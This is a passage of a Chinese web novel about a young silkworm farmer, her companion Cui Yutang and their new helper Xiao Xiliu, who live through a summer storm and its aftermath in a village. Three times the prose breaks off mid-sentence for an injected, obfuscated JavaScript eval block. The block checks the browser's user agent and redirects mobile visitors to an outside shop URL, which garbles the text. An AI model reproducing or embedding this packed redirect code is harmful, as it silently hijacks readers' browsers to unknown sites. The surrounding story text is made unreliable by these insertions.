小细柳怔了下，回道:“寻常不能，不过我可去签奴籍，让官府分配到一户人家里当粗使，有地住，有饭吃便是饿不死的。” 余晚桃沉默了片刻，给她开了一侧门，慢声道:“我家二郎过阵子要去书院读书的，我一人顾着桑园和蚕舍确实忙不过来，想来那慈济堂也不是甚么好地方，细柳婶不如就留在大桑村，给我搭把手吧。” 小细柳闻言整个人都怔住了，她抖着嘴唇，眼里泛起泪光:“真……真能留下我吗？” “自然，方才李阿奶将婶子扫地出门的事大家伙儿都见着呢，定不会乱说什么风言的，进来吧。” 余晚桃带她进来，轻声与她说道:“我跟二郎住主屋，西屋僻了建的蚕舍，旁边便是灶房，后边连着院子是菜地，眼下能住人的只有堆放杂货这间了，仔细收拾下还是能住人的，缺什么明日再补。” “我都成的，有张木板就行。”小细柳忍着泪，急忙表示。 今日有些晚了，确实不适合再去县里。 余晚桃帮着把一些东西搬到墙角去，听见外面崔玉棠在喊人，她便让小细柳自己先收拾着，掩门过了院，进灶房去。 崔玉棠宰了鸡，切块焯水后转入砂锅里慢火熬着，眼下正准备淘米下锅蒸饭，见她进来了，便问她:“你是怎么打算的？” 余晚桃道:“以后细柳婶就在家住，等你去书院了，家里桑园和蚕舍的活也能有个人帮我。” 崔玉棠点头，把一篮子鸡枞菇清洗出来，“那你想好，婶子是以甚名义留在咱家的，帮工？奴仆？若是前者得给工钱，若是后者需签奴契。” “好好的一人，不到万不得已谁愿卖身作奴？”，余晚桃洗了手，去将篮子里大瓣的鸡枞菌撕成几片，“就让婶子在家里帮工便好。” “既是帮工，那也得说教一二，她是要留下来帮你的，往后必定要接触缫丝和绒花的手艺，外头等闲人心易变，就怕被些不怀好意的把这门手艺套了去。” 余晚桃微诧，不成想素来安静温和的人，内心里对别人也有着这样的防备和警惕心，倒怪了平时同村里人往来几句都是好性子相与，原是从未真心相交去。 她怪声啧了啧，凑过去灼灼盯住他:“二郎怎么会有这种想法？” 崔玉棠往后退了退拉开距离，才道:“从前家业大，娘管理着家宅产业便是如此恩威并施，才不叫底下的人海了心，生出些主家人好欺负的念头来。” 他看着对方探过来的一双乌黑眼眸，垂在篮子沿的手不受控制地蜷起，不知怎的就生出一股紧张感来，忙低头移开视线，不敢再叫人盯着瞧。 余晚桃悠悠收回目光，与他道:“那我明日好好同细柳婶说下。” 砂锅里咕噜咕噜冒着泡，炖了小一阵再加入鸡枞菌，几颗干枣子，都是纯天然的山货，不需再加其他调料，一锅汤便鲜美得很。 其余还剩了许多菌菇没用，这个天也留不住，余晚桃便自己操了刀把所有的菌菇都剁碎了，再取一块坛子肉出来剁成碎丁，起锅烧油，加入海量蒜沫辣椒和两大勺黄豆酱，炒出香味后放菌菇碎和坛子肉丁进去慢火熬着油。 等菌菇和红油的香气熬出来了，便盛起来装进小瓦罐里，眼见铁锅里还留着香，她对崔玉棠说:“去后院摘几根茄子洗了来，这菌菇辣酱香着，不能浪费了。” 崔玉棠去后院扯了茄子回来，洗净直接对半切，按着余晚桃的意思小心放进铁锅里，抽了大柴出来留小火慢慢煎着。 “以后晨起煮面，挖一勺这菌菇辣酱放进去，鲜香浓郁，保管你喜欢，等去书院要不喜欢吃外头的饭菜，也可带一竹筒去。”，余晚桃面上带笑，边说边将茄子翻面，柔和体贴的话语如柳絮轻飘，拂过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565694|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔玉棠的心头。 晚霞尽褪，只余下些许昏黄光亮映照着大桑村，在天际与山峦相交处横着一道雾光，在声声催孩童回家吃饭的吆喝里，余晚桃和崔玉棠也喝上了鸡汤。 小细柳不好意思上桌吃饭，余晚桃只能给她留了一碗，让她坐灶房里吃。 白日熏艾草熏重了，这会院中还飘着一股艾草香，余晚桃咬着大鸡腿，吃着煎得焦香的茄条，再喝上一口鲜美的菌菇鸡汤，对这样顺遂舒坦的日子再满意不过了。 她闲聊道:“哪日去县里咱也买几笼鸡苗回来，就放桑园里散养着，既能吃害虫，又可以吃发黄的桑叶，等养肥了自己吃，或者拿去卖都成。” “都行。”，崔玉棠犹豫了下，说:“我想跟着庆叔去学打猎，一能练身手，二来还可以猎些猎物拿去县里卖，贴补家用。” “成啊，但不能白叫庆叔教你，记得买些礼过去，家里银子放哪你也知晓的，自个用多少拿去。” “好。” 家里多了一个人，终归是不如以前自在了，余晚桃做完了每日必做的喂蚕除砂，回屋里时见东侧屋子黑黝黝的，她便送了两根蜡烛并火折子过去，也好见叫晚上起夜不用摸黑去。 入夏后天亮得早，崔玉棠打着学艺的念头，晨起赶早去桑园摘了桑叶回来，便拿了小吊钱去县里买礼。 余晚桃则开始教小细柳打理蚕舍，眼下喂蚕不用再把桑叶切碎，省了不少时间，她亲自带着人走了一圈整日下来要做的事情。 小细柳听得认真，做事细心，手脚也利索勤快，离了李家后更是格外的小心翼翼，生怕再被赶出去。 只是到底是在村里，小细柳原先又是李家的媳妇，这会住进了余晚桃家里，免不得要被村里人传一阵。 这日县里大集，林小秋她男人买了个圆咕隆咚的大西瓜回来，林小秋便切了两瓣，拿着上余晚桃这串门来了，赶巧丁婶也在，几人便这么聊了起来。 丁婶帮着余晚桃掐嫩豇豆，余光落在洗桑叶的小细柳身上，见她面色不似在李家时死气沉沉的模样，整个人开朗不少，不由得感慨道:“咱女人嫁汉就是端看命好不好，嫁着一个像李癞子那样的，真就是进了火坑。” 林小秋胳膊肘拐了她一下，笑说:“婶说这些做什么，我瞧着细柳婶如今在桃子家帮工就挺好的，甭提以前那些糟心事了。” “丁婶瞧我这豇豆种得不错吧，搭了爬架上来，长势可好了，每日都吃不完。”，余晚桃不着痕迹地转移了话题。 丁婶闻言“嗐”了一声，抓着一把长条豇豆到跟前:“吃不完没事，你可以摘了回来晒豆橛子干，或者洗了坛腌酸豇豆，都能放一整年的，不愁吃。” “倒也是。” 余晚桃这般应着，便听到篱笆外传来一串脚步声，没一会院门被从外推开，一身粗布短打的崔玉棠从山里回来了。 他背着弓，拿着砍柴刀，肩膀扛着铁锹，铁锹一头挑着两只活兔子，一头捆着把野水葱，看着比刚来大桑村那会高了些，体格也强健许多。 每日跟着庆叔去跑山，倒也没白跑，起码练了身漂亮肌肉，余晚桃心里想着。 15. 水葱煎蛋 两只兔子一灰一白，被折腾得有些蔫蔫的，耳朵警惕地贴着，余晚桃用竹片临时给兔子围了个窝，摘了几片白菜叶子扔进去。 “这把子野水葱真嫩，适合炒腊肉。” 丁婶稀罕地多看了两眼，瞧见崔玉棠去后院冲鞋底泥了，她凑近些对余晚桃小声道:“你家二郎婶子瞧着不错，安静不惹事，也勤奋顾家，前几天来家说要跟你庆叔学打猎，我都吓了一跳。” 豇豆掐了一大盆，剩下的都是些头头尾尾就没要了，余晚桃端来簸箕，把掐好的豇豆倒进去，闻言笑了下。 “那也不看看人家先前啥家世，单是那副玉面皮子，十里八村的汉子都比不上。”，林小秋神秘道:“前几天在县里，我瞧见你家表哥同一位姑娘去逛书铺，神气得紧，见了村里人都不带正眼瞧。哼，不过多读了些书，我看长得没你家二郎好呢。” “带姑娘逛书铺，这陈文祖要娶县里姑娘不成？”，丁婶惊讶。 “这不正常嘛，一个书生哪能瞧上村里的姑娘，人眼光高着呢。” 余晚桃听着两人聊八卦，把簸箕端进灶房里，和那把野水葱放一起，从缸里舀水泡着，忙活完从灶房里出来时，对着脑袋交流八卦的两人已经各自站起来了。 丁婶:“我也该回家做饭去了，桃子你这豇豆我家柔妹爱吃，我就带一把回去了啊，明儿给你还一捆南瓜藤来。” “行啊，婶子家的南瓜藤脆嫩着，早就好这口了。”，余晚桃将两人送出门去。 院里恢复安静，小细柳过来把扔掉的那些豇豆丝络扫起来，就提着水桶去蚕舍里换水，进灶房劈柴，烧水蒸饭，总之是一刻也没让自己闲着。 余晚桃进了屋，心里想着事情，余光瞥见崔玉棠换了身衣裳，自个扭着胳膊往肩膀后那块蝴蝶骨位置抹药油，她皱眉走过去。 “摔着了？” 崔玉棠头也没回，轻轻嘶了一声:“追兔子时没控制好力道，就撞了一下，没事。” “我看看。”，余晚桃拿开他的手，见那块皮淤青着，她干脆抢过药油自己帮他擦，期间叮嘱道:“山里危险多，你去猎物不可贪心，要听庆叔的，他在山里跑了十几年，比你有经验。” 崔玉棠扎紧了腰间的带子，揉了揉鼻子，闷声道:“知晓了，今日是贪着那对兔子了，庆叔说县里酒楼收活兔，一只三十文，两只便有六十文了。” “明日去卖了兔子，我抓些鸡苗回来养。” “兔子可没自个命重要，这撞得皮肉都青紫了。”，余晚桃有些生气，使坏拿手指戳了一下他泛淤血那块地方，听到他疼得嘶了一声，才收回手，去开窗吹散药油味。 崔玉棠穿好衣服，把身侧的长发拨到后背，用发带束起，往外走:“走吧，今日吃野水葱煎蛋。” “可惜了，咱家要是有腊肉，就能做水葱炒腊肉。”，余晚桃惋惜着，二人一起出了屋，见灶房升起炊烟了，便走近去瞧。 小细柳已经炖上豇豆了，她蹲在灶前，脸上映着明明灭灭的火光，眼神不知飘到哪去了，听余晚桃喊了她一声，才回过神一下站起来，“马上就能吃了，你们在院里坐着等会啊。” “婶子去歇会吧，剩下的我做就行。”，崔玉棠卷起衣袖，仰头去拿木柜里的鸡蛋。 小细柳局促地站着，有些手足无措。 崔玉棠神色淡然，扫过她僵直的脊背，当着余晚桃面道:“婶子不用紧张，家里大小事都是阿桃做主，她既请了你当帮工便安心住着，只要踏实本分，帮着阿桃分担活计，尽可把心放肚子里，往后日子还长，若时刻这样提心吊胆活着，大家都累。” “是……婶子知道了。”，小细柳低头擦去眼泪，缩着肩膀出了灶房。 余晚桃沉默看着她瘦弱的背影。 “不用再提心吊胆活着。”这样的话在当今世道，对于一个孤女来说简直是天方夜谭，小细柳常年生活在李家那样压抑的环境里，性格被强行塑造成了一个懦弱听话，没有主见的夫权附属品。 这样的小细柳，还有很多。 或许是说开了，小细柳放下了心里的大包袱，余晚桃再喊她上桌吃饭时她没拒绝，这里的一屋一瓦一饭，俨然是从前求而不得的安稳生活了。 吃了饭余晚桃去蚕舍里查看蚕的生长情况，眼下是蚕眠时间，停止进食后的三龄蚕表面一层白色的绒毛在微弱的烛火下泛着银光，按照生长周期推算，第四次蜕皮便是在这几日了。 余晚桃去关窗，见田野外蜻蜓低飞，天边堆积着几团黑云，把月亮遮了个严严实实，平时叫个不停的知了也停歇了，像是暴风雨前的宁静。 夏夜雷雨多，余晚桃留了个心眼，将所有木窗都关严实，只留下一面对着院里的纱窗敞着通风。 夜间闷热难眠，余晚桃翻来覆去的烙煎饼，她撑身坐起，见身旁的崔玉棠睡得香，估计是在山里跑了一日，累着了。 怕吵醒人，她又蹑手蹑脚地躺了回去，谁知睡意没酝酿出来，外头打起雷来了，伴随着划破夜空的闪电，不过半炷香功夫，便暴雨如注，狂风狂拍着门窗，发出刺耳的风吼声。 这暴风雨，来得又急又猛烈。 余晚桃担心蚕舍里的蚕，她披衣坐起，却见崔玉棠也被外头的动静惊醒了，知道她担心蚕舍那边，忙跟着起来穿衣，去拿蓑衣和斗笠。 “外头风大雨急，你等我和你一起过去！”，崔玉棠叫住她，挪开了屋里正对着门的物甚，才去拔开门闩。 门一打开外头的风就卷着雨水吹了进来，余晚桃顶着风迈出去，和崔玉棠合力关上房门，再晚些只怕屋里就要被雨全泡了。 “桃子！” 雨里传来小细柳微弱的呼喊，余晚桃被雨水糊了眼睛，只能看到一个模糊的人影，好在崔玉棠这一阵的锻炼有了成效，顶着暴风雨将她稳稳地拽着，跑到蚕舍那边的屋檐下。 小细柳用身体挡着风，大声道:“蚕舍有一面纱窗被吹开了，里面进了不少水！” “二郎，去灶房里拿木板来！”，余晚桃抹了一把脸上的雨水，过去跟小细柳一起挡着豁口的窗子。 崔玉棠迅速去抱了木板来，又取了木工箱来，三人合力把豁口的窗用木板钉上，等风小了一些就去拿盆将蚕舍里的水舀出去，蚕座用油布盖着防止被雨淋到。 余晚桃看着屋顶，见缝隙几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573708|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处在滴水，连忙去拿木桶过来接着，同时庆幸当初扩建蚕舍时想到了漏雨这层，提前铺上油布。 想到村里的蚕农，基本上都是第三批五龄蚕的上簇时间了，今夜一场雨，有可能会把他们这四十天的努力都尽数摧毁。 她忽然站起身来，“我去隔壁丁婶家看看，” 崔玉棠一把拽住她的手腕，闪电劈下时有一瞬的光亮落在她湿透的鬓颊边，斗笠被风吹得歪斜，叫一双焦急的眼神看得分明，他话到口中便拐了道:“我跟你一起去，有事也能搭把手。” “好，记得把家里剩余的油布也卷起来带上。”，余晚桃叮嘱小细柳守在蚕舍这边，自己和崔玉棠冒着暴风雨出门去，用力拍响隔壁丁婶的院门，没一会余天庆淌着水过来开门。 “你们怎么过来了？这么大风雨还出门不要命啦！”，余天庆二话不说将两人拽进院里，声音很急。 这边院里的水排不出去，眼看着就积成一片浅塘了，余晚桃把早已湿透的裤腿卷起来，淌过院里的积水，“二郎，油布给我，你帮庆叔挖沟渠把院里的水排出去，我去蚕舍里给丁婶帮忙。” “你小心些！”，崔玉棠跟着余天庆去堆放杂物的屋里拿锄头，回头抬高音量叮嘱她。 余晚桃没回头，抬臂对他摆了摆手就钻进了蚕舍里，丁婶家的蚕舍没做防雨，眼下四处漏雨，蚕座上的蚕受了惊在到处乱爬。 “丁婶，先把蚕座抬高，别让蚕泡了水。” 丁婶闻声回头:“桃子你怎么过来了？！” “先别说这些，救蚕要紧。”，余晚桃快速把手里的油布展开，挡住被雨水渗透的木簇上，格子里是正在吐丝的蚕，已经结了半茧，不抢救回来实在可惜。 有人手帮忙丁婶也不慌了。 等外面风雨稍缓，蚕舍里已经被风吹得一塌糊涂，两人配合着把蚕舍里的水清出去，余天庆又扯了张大油布盖到蚕舍屋顶上，这才消停下来。 “我去村里看看谁家需要帮忙的，家里边你看着些。”，余天庆把自己家多余的油布拿出来，让丁婶等雨停了去灶房里煮锅热水备着，自己低头套上雨鞋。 “小心着点啊，外边风大刮得断树枝到处飞，路又泥泞得紧，不好走的。”，丁婶不放心。 “知道了，记得给桃子煮碗姜汤，淋了这么久的雨别染上风寒了。”，余天庆说着便要走。 余晚桃追上他:“庆叔，我跟你一起去。” “这是我们男人的活，哪用得着你这小姑娘夜里顶着风雨奔波。”，余天庆冷脸推她回去，扭头喊上崔玉棠，“二小子，快点过来，走了！” 崔玉棠抱着两捆绳子跑过来，见余晚桃脸色被雨水冲得发白，他伸手在她脸颊抚了一下，触感冰凉，心里紧了紧:“你快回去换身衣服，别着凉了。” 余晚桃怔了下，旋即点了头，她说:“你注意安全。” “回吧。”，崔玉棠跟着余天庆冲进了雨幕里，二人渐渐跑远。 狗吠声在大桑村里此起彼伏，电闪雷鸣，劈开了堆积在天际厚厚的黑云，急雨不歇如银河倒流，冲刷着浑浊的夜空。 这个雨夜注定无眠。 16. 清炒南瓜藤 …… 暴雨下了整夜，直至天光熹微才停歇下来，外头的天经过一夜雨水的洗礼，瓦蓝澄净，初升的太阳坠在群峰起伏间，恍然叫人生出了一种劫后余生的错觉来。 崔玉棠整夜没回来，锅里的热水也一直温着，余晚桃去后院看被摧残得不像样的菜地，心里牵挂着桑园那边的情况。 她把被吹倒的豇豆架都抱到檐角去堆着，翻腾起根活不成的豇豆株连藤拔了，藤上挂的豇豆不管长短都掐起。 至于茄子苗和白菜大概是因为底盘低，没被吹翻根子，依旧顽强活着，也算是一点安慰了，起码没全军覆没。 余晚桃抱着一大捆的豇豆去灶房里，拿簸箕摊开了晾到院里，小细柳在叮叮哐哐的加固门窗，约过了半时辰，余晚桃正打算去桑园里看看时，在外奔波一夜的崔玉棠回来了。 他神色间虽疲惫但很是高兴，手里拎着满满一桶鱼，顶着糊了满头满脸的泥巴同余晚桃说:“昨晚跟着庆叔去村里奔走帮忙，村里蚕农家的蚕舍多半都进了水，我们忙到寅时末才得歇口气。” “过没多久，就有人来喊说洪水冲垮了村里的公家塘，大家伙都拿着网去捞鱼了，我也跟着去捞了一桶。” 余晚桃瞧他狼狈的模样没忍住笑了出来，转身去灶房里拿自家的木桶出来，把鱼倒过来:“这是借的谁家木桶？我等会去还，锅里一直温着热水，你快些去洗洗，换身干净衣裳出来吃朝食。” 崔玉棠哎了一声，说：“村长家的木桶。”，随后把夹在腋下的蓑衣斗笠挂到篱笆上晾着，自己进了灶房去舀热水。 趁着崔玉棠洗澡的功夫，余晚桃下了一碗面条，又卧了两个荷包蛋，烫了白菜苗进去铺到面汤上，最后再浇一勺菌菇辣酱。 面端上桌的功夫崔玉棠也洗好出来了。 他坐到桌前埋头吃面，长发随意散开，发梢滴着水珠，乌黑如缎带着湿润的光泽，像是才被人不走心地绞了一遍般，可见其态度之敷衍。 看他专注吃面，余晚桃说了一句“我去桑园了。”就匆匆忙的出去了。 乡间小道被雨水冲刷了整夜，变得泥泞又滑溜，稍不留神就得跌一跤，余晚桃沿着田垄慢慢走，抬头发现延绵成金色海浪般的稻田被吹倒了不少，一些村民陆陆续续地出门来检查自己的水田。 路上遇着了出来摘菜的林小秋，她愁着脸与余晚桃抱怨:“我们家不止水田里遭了殃，就连菜地都被水泡了，本来还能割一茬去卖给县里酒楼的，现在卖不出什么好价了。” 余晚桃无奈道:“我家桑园估计也好不到哪去。” “这老天爷不给咱穷苦人活路有啥法子。”， 林小秋道:“咱出村的路都被山洪冲垮了呢，俺男人说这几日最好别出村，万一哪个山头的泥土松垮，被埋进去就完了。” 余晚桃与她走到前头，望向被水泡着只能看见菜叶尖的菜地，“不出村，那你菜地里的菜岂不是得烂掉？” “那没办法啊。”，林小秋放下背篓，从里拿出把短柄的铁锹来，弯腰给菜地挖沟渠放水，她仰起头说:“卖不出去就留着自己吃了，等会我给你家送一捆白菜苦瓜啥的，家里有人在不？” “二郎在家，那我先去看看桑园里的情况，再回来帮你摘菜。” “成啊。” 余晚桃再往前走了一段，就到了自家桑园，开门进去就被眼前景象给震了个透心凉，桑树倒是挺顽强的没倒几颗，但桑叶被刮掉了不少，剩个光秃秃的杆支棱着。 好些桑叶被风卷着堆在篱笆根处，余晚桃踩着水过去，把那些新鲜的桑叶都捡起来，放缸里洗干净铺开晾到一边。 桑园里陆续来了几个蚕农，怕他们摘着湿的桑叶回去喂蚕，余晚桃忙不迭追过去，仔细叮嘱了一通才回来继续洗桑叶，没过多久小细柳就背着竹篓过来了。 余晚桃让她就在桑园盯着，等桑叶晒干水分了再抱进竹篓里，自己出了园，往林小秋的菜地去，她到的时候林小秋的婆母也来了，两人弓着腰在淤泥地里摸菜。 余晚桃脱了鞋袜，过去帮她们抢收菜。 林小秋直起腰来，问她:“你桑园那边咋样了？” “还行，没想象中糟糕。” “那就好，村里不少蚕农就指着你的桑园呢。”，林小秋说着兀自叹了起来，“这批大白菜是没了，再种新的下去，等入冬也活不成，今年的大白菜怕是没得吃了。” 余晚桃想到昨夜的暴雨，今年冬怕是整个县里的菜价都会涨，而且对秋收也有影响，他们家没有种稻，今年缴税只需按人丁给银子就成，但那些人口多的农户，家里田地又受了灾的，怕是会很艰难。 “秋嫂子，你要是怕冬天种菜活不成，那搭个大棚啊。”，余晚桃抱着一摞水通菜蹲到田垄边的水坑清洗淤泥。 林小秋也抱了一捆过来，两人并排蹲着洗菜:“啥大棚？” 余晚桃道:“蔬菜大棚呀，你怕天冷菜活不成，就围着菜地一圈搭棚子，四周棚顶都拿油布草垛子挡着，在棚里不经风霜雨雪的，种啥菜不成啊，而且……” 她凑近林小秋，低声道:“昨夜暴雨受灾的肯定不止我们村，这下县里的菜价定会上涨，要赶上这机会，能赚不少。” “对啊！我咋想不到咧。”，林小秋一拍大腿，兴奋道:“那等回去就跟我男人商量一下，搭棚子啥的他在行，平时村里的牛棚猪棚都是他搭的。” “嗯，不过你们也得仔细考量清楚，不能贪多种，万一棚子没用养不活就亏了。”，余晚桃怕她太上头，便多提醒了一句。 帮林小秋摘完菜，余晚桃要返回桑园背桑叶回家，她抬头望着升高的太阳，觉出扑面而来的风带着一股闷热，便知这天是真折腾人。 夜里狂风暴雨，白天高温暴晒。 与小细柳跑了几趟将桑叶背回来，赶着时辰喂了蚕，余晚桃把蚕舍重新清扫消毒，被风吹破的门窗那临时钉上的木板也拆开，按回纱窗，外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579814|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头再加一扇木窗。 下午，林小秋送了捆水通菜和一篮子苦瓜过来，丁婶也抱了扎南瓜藤来，说是换昨天的豇豆，家里才三张嘴，根本吃不完这些，何况还有那一桶鱼没处理。 余晚桃想了想，便淘洗出几个干净的瓦罐，把自个菜地里摘回来的豇豆都用来酵酸豇豆，苦瓜留出两个，其余的切片晒干，鱼则全部杀了取出内脏拿盐渍一晚上，等明日做熏鱼干。 至于水通菜和南瓜藤没法子了，只能尽量去吃完。 于是晚间桌上就是两大海碗的清炒南瓜藤和辣椒炒水通菜，并着一碟苦瓜炒鸡蛋，一木桶蒸饭。 清炒南瓜藤清甜脆嫩，余晚桃很喜欢吃，她多吃了几筷子，结果给自己撑得紧，只能在院里来回走消食。 “后院菜地种的豇豆被我扯了，得再买些应季的菜种回来种。” “这几天村长不让出村。”，崔玉棠抓了几片白菜叶扔进兔窝里，昨夜骤雨狂风，这两只兔子倒是顽强，活得好好的。 “秋嫂子家有不少菜种，我回头过去问问就行。”，余晚桃见他盯着兔子打量，便走了过去，“这俩兔子就养着吧，等兔子窝了崽岂不是更好卖。” 崔玉棠皱眉:“都是公兔。” “……那爆炒兔肉？” “还是留着卖了换鸡苗吧。”，崔玉棠侧目轻扫，端看她松懒倦怠的眉眼，因为打哈欠眼角洇出的一滴眼泪险险挂在眼睫处，鬓边散着几缕凌乱的发丝。 初见时余晚桃因为瘦弱，头发是枯干发黄的，这段时间虽忙但吃得好，养回来一些，五官在恢复气色的一张脸庞上愈发显出清秀来，杏眼圆圆的，带着蓬勃的朝气。 “我去洗漱睡觉了，明日还得去山里砍松树枝回来熏鱼。”，余晚桃忙了一日这会困得紧，恨不得直接躺倒。 崔玉棠收回视线，去帮她打热水。 鸡鸣炊烟起，山雾缭绕松竹林，草尖露水被一尾松枝惊落，打湿了相擦而过的灰色衣摆，拖出一条长长的洇痕来。 崔玉棠一人扛着大捆松树枝回来，在院里搭了木架，点燃干枝后把生松覆盖在上面，直至冒出滚滚白烟来，才将串好的鱼架上去。 余晚桃端着一碗面条坐在院里，看着他熏鱼，时不时提醒他翻面，见他最后实在忙不过来，便两口喝完面汤，走过去帮他。 “庆叔说村长在召集村里的年轻汉子去修村口被洪水冲垮的路，他这两日都不进山，让你跟着去铺路。”，余晚桃翻了鱼，将木桶里渍出来的鱼腥盐水倒出院外。 崔玉棠徒手折断了松枝扔进烟熏堆里，弯腰把散落的松针一齐扫进去，他点了点头，说:“那我晚些去找庆叔。” 余晚桃道:“庆叔是在带你融入大桑村这个集体，在村里生活，总要和村民们相处的。” “我知道的。”，崔玉棠笑了下，漂亮的眉眼倏地绽开，嗓音温柔:“阿桃，谢谢你。” 余晚桃闻言瞥他一眼:“该给鱼翻面了。” 17. 编草藤席 村口的路折腾两日终于是修好了。 时下正值家中蚕蜕眠期，离不得人，余晚桃便央着丁婶帮忙从县里带些铜丝和耙梳回来，自己去寻村里木匠，定做了两座缫丝架。 因为蚕蜕期不用喂桑叶，余晚桃就去将前一阵沤的有机肥挖起来，给桑树追肥。 眼看着第一批蚕就能上簇结茧了，算算时间今年还能再养最后一批，也该是进新蚕种的时候了。 不过家里蚕舍空间有限，想要扩大养蚕规模，还是得先把蚕舍盖起来，只是要另买地盖蚕舍，银子是一方面，另一方面还要经村长同意，再报呈官府才能过户。 余晚桃心里想着事，走到桂花树底下歇了一阵儿，就扛起锄头，将水囊别在腰带上往家回，晌午的太阳最是毒辣，她走在田野间都能感觉到扑面而来的阵阵热浪。 回到家时整个襟背都被汗打湿了，余晚桃从井里吊了水上来给蚕降温，就着酸炒水通菜梗喝了两碗白粥，把院门敞开，坐在门槛那乘凉。 约摸过了一盏茶功夫小细柳也满头大汗地回来了，她背着比人还高的干草垛子回来，脸颊被晒得脱了皮，一走近身上那股热气就扑了过来。 余晚桃拿着竹篾扇给她扇扇风，将另一边门打开让她进来:“背这多草垛子回来做什么？” 小细柳卸了干草垛堆在院里，去灶房里舀了水，吨吨吨喝了几大口，才喘着气道:“二郎不是去县里买鸡苗了嘛，我编几张草藤席在桑园那边搭个鸡窝棚出来，到时候白天放出来溜达找食，晚上关窝棚里，这样等长大了才不会到处扒窝生蛋。” “还是婶子想得周全，不过这天热得紧，喝碗粥歇歇再编吧。” 余晚桃进灶房取了盐罐下来，往她水碗里捏了小撮撒进去，“人渴急了不能闷头灌水，得喝点淡盐水，防止中暑。” 小细柳点头应了，就着喝完淡盐水的碗去锅里盛白粥，她扭头问:“桃子你吃午食的吗？” “吃了，我比你早回来一些。”，余晚桃站在一边给她扇风，脸上带着笑:“我觉得婶儿年纪不大，从前嫁给铁牛叔辈分高了才这么喊，这会都各自不相干了，我该改口叫细柳姐才是。” 小细柳被打趣得不好意思，“我都这把年纪了，哪能叫姐。” “哪把年纪？不也才二十多些，往后等咱富裕了，买些香膏胭脂好好保养打扮起来，可不比那县里的小姐们差。”，余晚桃撇了一下嘴，眼角眉梢都带着笑意，眸子亮亮的。 她有能力有手艺，自是相信只要足够努力，便能过上那般好日子，不须得羡慕别人的锦衣玉食，有祖辈荫庇固然是生得好命，就如同刘云、陈小绣那般的姑娘，生来富贵，不忧吃穿。 但世事无常，万般种种皆自己争取，才最靠得住。 “细柳姐，你教我编草藤席吧，我也学一学。” “这简单得很。” 歇了气松，小细柳便麻利地拿了砍柴刀出来，将干草垛整整齐齐地码住摊开，取一捆竹篾条来，在地上编了个交叉，再抓着草垛铺上去，错开缠绕，绑紧。 “这就跟编竹席一个道理，就是多了将草垛填进去这一步。”，小细柳一边讲解，一边快速地上下翻编着竹篾，很快就编出一张来。 要做鸡窝棚，光是草藤席立不住，还得用木条先围一圈，搭出棚框来，再将草藤席绑上去扎紧，才算是个能挡风遮雨的窝。 瞧着还剩下一捆干草垛，小细柳打算抱进灶房里当柴火烧，余晚桃喊住她，“直接在院里烧吧，我正好做些碱出来，也省得以后再去找草垛子了。” 小细柳停住动作:“那是什么？” “煮茧的时候需要用到的。”，余晚桃去灶房里把那口大铁锅提出来，将干草垛都堆上去，点燃，等着燃烧殆尽，变成草木灰。 “细柳姐，帮我扯快大的纱布来。” “蚕舍里上次做纱窗还剩了一块，我去拿。” 小细柳不知道她要做什么，也没多问，去蚕舍里翻出纱布拿出来，就守在一旁等着有哪里需要自己帮忙的。 余晚桃把草木灰都包进纱布里，抬头对小细柳说:“得再烧一锅热水。” “成。”，小细柳起身进了灶房。 时间慢悠悠过着，太阳渐渐西斜，余家院里炉灶烧了一下午，在不断的翻搅炒拌下，经过过滤沉淀的草木灰水渐渐被蒸发，铁锅里出现白色的粉状物。 “这就是碱？”，小细柳微睁大眼，实在想不明白费了一下午柴火就烧出来的这点东西，能有甚用。 余晚桃把锅里的碱铲起来，装进小瓦罐里，转身去水缸里舀水清洗铁锅。 她刷着锅，问道:“这蚕丝的价格比生蚕茧要贵上许多，但我们村里的蚕农基本上都是卖的蚕茧，很少直接卖蚕丝的，你可知为何？” 小细柳把灶膛里没烧完的柴夹出来，抬起头道:“咱村里人自己缫的蚕丝脏黄干硬得紧，那些铺子可不稀得收，贵人更是瞧不上，我从前在慈济堂那会见过一些贵人穿的丝绸，又顺又滑，染了色的特别好看，原色则是没有一丝杂质的雪白。” “这个碱的作用，就体现在这了，等蚕舍那批蚕结茧后缫丝时你就明白了。”，余晚桃抬起铁锅将里头的脏水使劲往外一泼。 小细柳听闻这话，楞个片刻，没成想余晚桃这是还打算自己缫丝的。 这个点赶去县里做买卖的村民也该回来了，余晚桃将竹篱笆上晾晒的熏鱼干收回来，见余天庆闷着脸，挑着扁担从外面走过去，她踮起脚喊了一声:“庆叔，见着二郎没？他早上跟着牛车一起去县里的。” 余天庆站在外边回:“在后边呢，刚在村口大槐树底下瞅见他了。” 